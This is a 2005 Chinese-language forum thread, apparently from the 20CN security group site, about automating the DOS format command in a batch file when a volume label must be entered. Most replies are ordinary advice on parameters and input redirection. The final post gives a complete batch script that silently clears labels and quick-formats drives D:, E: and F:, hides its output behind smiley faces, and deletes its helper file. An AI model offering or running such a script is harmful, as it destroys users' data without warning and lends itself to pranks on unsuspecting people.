论坛: 编程破解 标题: BAT文件的问题 复制本贴地址    
作者: jaychou [jaychou]    论坛用户   登录
假设现在我要格式化D盘,D盘的盘标(就是在D盘前面的字符)为abc,如果用format格式化会要我输入盘标,输入正确后则开始格式化。现在我想编写一个BAT文件:format d:(回车)abc(回车)y(回车),但是不能格式化,在dos窗口下运行时发现,当完成bat文件的内容时系统要我输入盘标,等于系统只完成了第一行的内容,这是怎么回事?

地主 发表时间: 05-02-14 02:40

回复: kert_t8 [kert_t8]   论坛用户   登录
我晕了,后面的那叫参数,不是程序运行的时候输入的东西都可以当做参数的!
还有,你说的abc叫卷标(label)
最后,你试试 format d: /y 或者是 format d: /t  不过要提醒你,这个操作会不加提示格式化硬盘,小心使用,还有,我没有试过,不成功也不要怪我

Warning:不要拿去整人,整人的人往往被人整

B1层 发表时间: 05-02-14 09:15

回复: lida1818 [lida1818]   论坛用户   登录
假定 a.bat内容

format c:

再写一个
b.txt内容

abc
y
(这里一定要和正常format时输入的一样)
然后在dos下执行

a.bat < b.txt

不知道行不?我可不试^_^

B2层 发表时间: 05-02-15 20:27

回复: kert_t8 [kert_t8]   论坛用户   登录
估计不行。我也不敢试

jaychou,试验完了麻烦把结果告诉我们

B3层 发表时间: 05-02-16 01:33

回复: deathmask [deathmask]   论坛用户   登录
rem 保存为 随便什么名字.bat
@echo off
echo.>>a.bat
echo y>>a.bat
for %%a in (d: e: f:) do type a.bat|label %%a>nul
for %%a in (d: e: f:) do echo y|format %%a /x /q>nul
echo :) :) :)
echo 请按任意键结束~~~:)
pause>nul
del a.bat 2>nul
exit


[此贴被 deathmask(deathmask) 在 02月19日00时04分 编辑过]

B4层 发表时间: 05-02-18 23:08

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号